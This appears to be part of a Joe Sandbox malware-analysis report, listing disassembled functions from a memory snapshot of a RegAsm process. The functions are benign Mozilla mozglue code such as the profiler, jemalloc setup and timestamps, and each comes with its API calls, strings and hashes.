GetCurrentThreadId.KERNEL32 ref: 6C70F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C74385B,00000002,?,?,?,?,?), ref: 6C70F829
free.MOZGLUE(?,?,00000000,?), ref: 6C70F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C70F866
free.MOZGLUE(?), ref: 6C70FA0C

Part of subcall function 6C6D5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6D55E1), ref: 6C6D5E8C
Part of subcall function 6C6D5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6D5E9D
Part of subcall function 6C6D5E60: GetCurrentThreadId.KERNEL32 ref: 6C6D5EAB
Part of subcall function 6C6D5E60: GetCurrentThreadId.KERNEL32 ref: 6C6D5EB8
Part of subcall function 6C6D5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6D5ECF
Part of subcall function 6C6D5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C6D5F27
Part of subcall function 6C6D5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C6D5F47
Part of subcall function 6C6D5E60: GetCurrentProcess.KERNEL32 ref: 6C6D5F53
Part of subcall function 6C6D5E60: GetCurrentThread.KERNEL32 ref: 6C6D5F5C
Part of subcall function 6C6D5E60: GetCurrentProcess.KERNEL32 ref: 6C6D5F66
Part of subcall function 6C6D5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C6D5F7E

free.MOZGLUE(?), ref: 6C70F9C5
free.MOZGLUE(?), ref: 6C70F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C70F9A6
Thread , xrefs: 6C70F789
[D %d/%d] profiler_register_thread(%s), xrefs: 6C70F71F
" attempted to re-register as ", xrefs: 6C70F858

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 433fb69097314bc99f721e138520af1369668aee352ef0cc74fb178ced46b59a
Instruction ID: 78fb8ae6f771886e61713990ec24cd5d158ab946f5c6be9935a5c2dab0ca88ab
Opcode Fuzzy Hash: 433fb69097314bc99f721e138520af1369668aee352ef0cc74fb178ced46b59a
Instruction Fuzzy Hash: 688116B16047009FD700DF24C944AAEB7E5FFC6308F41856EE85997751EB30A909CBAA

Function 6C70EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6D4A68), ref: 6C70945E
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C709470
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C709482
Part of subcall function 6C709420: __Init_thread_footer.LIBCMT ref: 6C70949F

GetCurrentThreadId.KERNEL32 ref: 6C70EE60
AcquireSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70EE6D
ReleaseSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C70EEA5
CloseHandle.KERNEL32(?), ref: 6C70EEB4
free.MOZGLUE(00000000), ref: 6C70EEBB
GetCurrentThreadId.KERNEL32 ref: 6C70EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C70EECF

Part of subcall function 6C70DE60: GetCurrentThreadId.KERNEL32 ref: 6C70DE73
Part of subcall function 6C70DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C6D4A68), ref: 6C70DE7B
Part of subcall function 6C70DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C6D4A68), ref: 6C70DEB8
Part of subcall function 6C70DE60: free.MOZGLUE(00000000,?,6C6D4A68), ref: 6C70DEFE
Part of subcall function 6C70DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C70DF38

Part of subcall function 6C6FCBE8: GetCurrentProcess.KERNEL32(?,6C6C31A7), ref: 6C6FCBF1
Part of subcall function 6C6FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6C31A7), ref: 6C6FCBFA

GetCurrentThreadId.KERNEL32 ref: 6C70EF1E
AcquireSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70EF2B
ReleaseSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70EF59
GetCurrentThreadId.KERNEL32 ref: 6C70EFB0
AcquireSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70EFBD
ReleaseSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70EFE1
GetCurrentThreadId.KERNEL32 ref: 6C70EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C70F000

Part of subcall function 6C7094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7094EE
Part of subcall function 6C7094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C709508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C70F02F

Part of subcall function 6C70F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C70F09B
Part of subcall function 6C70F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C70F0AC
Part of subcall function 6C70F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C70F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C70EED7
[I %d/%d] profiler_pause, xrefs: 6C70F008

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: b5d49f73169d63e7c0d1aca91fec09a03aefdbd9cecdb17dca3d94807cec50b5
Instruction ID: c43df532af7136a66ee5ef4905af1c54f91fe28f5ceb72cf2604fdc02e5322e8
Opcode Fuzzy Hash: b5d49f73169d63e7c0d1aca91fec09a03aefdbd9cecdb17dca3d94807cec50b5
Instruction Fuzzy Hash: 3351F7B57046189FDB007BA9D508BAA77F8EB4632CF10C577E97583B40DB706804C7A6

Function 6C6FD010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C74E804), ref: 6C6FD047
GetSystemInfo.KERNEL32(?), ref: 6C6FD093
__Init_thread_footer.LIBCMT ref: 6C6FD0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C74E810,00000040), ref: 6C6FD0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C74E7B8,00001388), ref: 6C6FD147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C74E744,00001388), ref: 6C6FD162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C74E784,00001388), ref: 6C6FD18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C74E7DC,00001388), ref: 6C6FD1B1

Strings

MOZ_CRASH(), xrefs: 6C6FD277
<jemalloc>, xrefs: 6C6FD268, 6C6FD311
MALLOC_OPTIONS, xrefs: 6C6FD0CB
: (malloc) Unsupported character in malloc options: ', xrefs: 6C6FD322
Compile-time page size does not divide the runtime one., xrefs: 6C6FD26D

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 0625f9044e6da322e30aa8f12df78ed16011464931876b10b44bcc2dcfa67259
Instruction ID: fcad2d77b4b89a5ec0083c91b12f5e0059e08117e87e19ddd95aeb0245240a49
Opcode Fuzzy Hash: 0625f9044e6da322e30aa8f12df78ed16011464931876b10b44bcc2dcfa67259
Instruction Fuzzy Hash: 7481E770B042089BEB01EF79C944B69B7FAEB5633CF10813AE52197B40D775A806CBD5

Function 6C6D7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C6D8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C6D801D

Part of subcall function 6C6DCA10: malloc.MOZGLUE(?), ref: 6C6DCA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C6D802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C6D803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C6D808D

Part of subcall function 6C6DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C6DCAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C6D809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C6D80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C6D80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6D80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6D80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6D810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C6D8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C6D8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C6D8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C6D817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6D8199

Strings

0>pl, xrefs: 6C6D811E

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>pl
API String ID: 2721933968-2493627298
Opcode ID: 50b8068e5e32fbd18e2650e530d0c2999bc43c939cc76d122f7c9aa45daef13e
Instruction ID: 505a8f46272a35fc3ff1898586c2506705b1dfc4a94c458d932fa20a31bfe256
Opcode Fuzzy Hash: 50b8068e5e32fbd18e2650e530d0c2999bc43c939cc76d122f7c9aa45daef13e
Instruction Fuzzy Hash: 7A51A6B2E001149BDB00DBA9DC889EFB7B9EF4D324F154125E815E7751E730AD09CBA5

Function 6C6D5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6D5E9D

Part of subcall function 6C6E5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6E56EE,?,00000001), ref: 6C6E5B85
Part of subcall function 6C6E5B50: EnterCriticalSection.KERNEL32(6C74F688,?,?,?,6C6E56EE,?,00000001), ref: 6C6E5B90
Part of subcall function 6C6E5B50: LeaveCriticalSection.KERNEL32(6C74F688,?,?,?,6C6E56EE,?,00000001), ref: 6C6E5BD8
Part of subcall function 6C6E5B50: GetTickCount64.KERNEL32 ref: 6C6E5BE4

GetCurrentThreadId.KERNEL32 ref: 6C6D5EAB
GetCurrentThreadId.KERNEL32 ref: 6C6D5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6D5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C6D6017

Part of subcall function 6C6C4310: moz_xmalloc.MOZGLUE(00000010,?,6C6C42D2), ref: 6C6C436A
Part of subcall function 6C6C4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C6C42D2), ref: 6C6C4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C6D5F47
GetCurrentProcess.KERNEL32 ref: 6C6D5F53
GetCurrentThread.KERNEL32 ref: 6C6D5F5C
GetCurrentProcess.KERNEL32 ref: 6C6D5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C6D5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C6D5F27

Part of subcall function 6C6DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C6DCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6D55E1), ref: 6C6D5E8C

Part of subcall function 6C6DCA10: malloc.MOZGLUE(?), ref: 6C6DCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6D55E1), ref: 6C6D605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6D55E1), ref: 6C6D60CC

Strings

GeckoMain, xrefs: 6C6D5ECE, 6C6D6015

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 04fd2f642d05b44047301a45531ea95bc9e674b9797d86316e07460560d8fac1
Instruction ID: e788c63ae4a8d14ed672d3c7b1b4593ec1e23c84516eaddefd23436fe4529a70
Opcode Fuzzy Hash: 04fd2f642d05b44047301a45531ea95bc9e674b9797d86316e07460560d8fac1
Instruction Fuzzy Hash: BA71E5B06057409FD710DF29C580A6ABBF0FF9A308F14496EE4968BB52D731F948CB96

Function 6C6D9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6C31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C6C3217
Part of subcall function 6C6C31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C6C3236
Part of subcall function 6C6C31C0: FreeLibrary.KERNEL32 ref: 6C6C324B
Part of subcall function 6C6C31C0: __Init_thread_footer.LIBCMT ref: 6C6C3260
Part of subcall function 6C6C31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C6C327F
Part of subcall function 6C6C31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6C328E
Part of subcall function 6C6C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6C32AB
Part of subcall function 6C6C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6C32D1
Part of subcall function 6C6C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6C32E5
Part of subcall function 6C6C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6C32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C6D9675
__Init_thread_footer.LIBCMT ref: 6C6D9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6D96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C6D9707
__Init_thread_footer.LIBCMT ref: 6C6D971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C6D9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6D97B7
FreeLibrary.KERNEL32 ref: 6C6D97D0
FreeLibrary.KERNEL32 ref: 6C6D97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C6D9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C6D9670
MapViewOfFileNuma2, xrefs: 6C6D97B1
ntdll.dll, xrefs: 6C6D96E3
NtMapViewOfSection, xrefs: 6C6D9701

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: b525a9c2c097dd51bb3dfdfebbadf1e8d4e396d64627dcef197b2cf654e4f258
Instruction ID: ad55362078f6335467255a896d4463890f8def57352523a6bd325e996c1d8f13
Opcode Fuzzy Hash: b525a9c2c097dd51bb3dfdfebbadf1e8d4e396d64627dcef197b2cf654e4f258
Instruction Fuzzy Hash: 6E61F071600205EFDF01EF79D994B9A7BB5EB8A31CF41C53AE92583B80DB34A844CB95

Function 6C6D11B0 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 186COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32,00000084), ref: 6C6D1213
toupper.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C6D1285
memcpy.VCRUNTIME140(?,TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32,00000076), ref: 6C6D12B9
memcpy.VCRUNTIME140(?,CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32,00000078,?), ref: 6C6D1327

Strings

TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32, xrefs: 6C6D12AD
&, xrefs: 6C6D126B
CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32, xrefs: 6C6D131B
Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32, xrefs: 6C6D120D
MZx, xrefs: 6C6D11E1

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: memcpy$toupper
String ID: &$CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32$Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32$MZx$TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32
API String ID: 403083179-3658087426
Opcode ID: 6c016c4a5ee13db3f915e2a4c6959bd74df8398f94cbc9f4c656e9ec2e591c99
Instruction ID: b95f0f91d036ae1d487d2c435069410836ad6f87cefeaba4868f3fac3d9d0144
Opcode Fuzzy Hash: 6c016c4a5ee13db3f915e2a4c6959bd74df8398f94cbc9f4c656e9ec2e591c99
Instruction Fuzzy Hash: E271E571E057688ADB209FB4C8007DEB7F1BF4531DF06066AD545A3B40D7B4BA88CB9A

Function 6C6C31C0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 183timelibraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C6C3217
GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C6C3236
FreeLibrary.KERNEL32 ref: 6C6C324B
__Init_thread_footer.LIBCMT ref: 6C6C3260
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C6C327F
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6C328E
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6C32AB
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6C32D1
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6C32E5
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6C32F7

Part of subcall function 6C6FAB89: EnterCriticalSection.KERNEL32(6C74E370,?,?,?,6C6C34DE,6C74F6CC,?,?,?,?,?,?,?,6C6C3284), ref: 6C6FAB94
Part of subcall function 6C6FAB89: LeaveCriticalSection.KERNEL32(6C74E370,?,6C6C34DE,6C74F6CC,?,?,?,?,?,?,?,6C6C3284,?,?,6C6E56F6), ref: 6C6FABD1

__aulldiv.LIBCMT ref: 6C6C346B

Strings

KernelBase.dll, xrefs: 6C6C3212
QueryInterruptTime, xrefs: 6C6C3230

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$CriticalLibrarySectionStamp@mozilla@@$AddressCreation@EnterFreeInit_thread_footerLeaveLoadNow@ProcProcessV12@V12@___aulldiv
String ID: KernelBase.dll$QueryInterruptTime
API String ID: 3006643210-2417823192
Opcode ID: 5068efd82baf3c52f87cb72694caf34ddbb7265c898aa9775ba6a524fcc66700
Instruction ID: e71e7116c8c0d03ec2fcf35ef7524cd4f2e3b07c9d009a2340ca80129f7bdaca
Opcode Fuzzy Hash: 5068efd82baf3c52f87cb72694caf34ddbb7265c898aa9775ba6a524fcc66700
Instruction Fuzzy Hash: 44611571A087418BC711DF38C45169AB3F5FFC6358F218B2EF8A5A3690DB349549CB4A

Function 6C726660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C74F618), ref: 6C726694
GetThreadId.KERNEL32(?), ref: 6C7266B1
GetCurrentThreadId.KERNEL32 ref: 6C7266B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C7266E1
EnterCriticalSection.KERNEL32(6C74F618), ref: 6C726734
GetCurrentProcess.KERNEL32 ref: 6C72673A
LeaveCriticalSection.KERNEL32(6C74F618), ref: 6C72676C
GetCurrentThread.KERNEL32 ref: 6C7267FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C726868
RtlCaptureContext.NTDLL ref: 6C72687F

Strings

WalkStack64, xrefs: 6C726890

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: bccb90e12aadbab6f0f7492c73387a922ef1ac0dc990ec23a9ea8c43f0f4407c
Instruction ID: 16972640d5f7559be3bb6beff9d17ddc3deabb635238fa7394ad6d5a3d629b47
Opcode Fuzzy Hash: bccb90e12aadbab6f0f7492c73387a922ef1ac0dc990ec23a9ea8c43f0f4407c
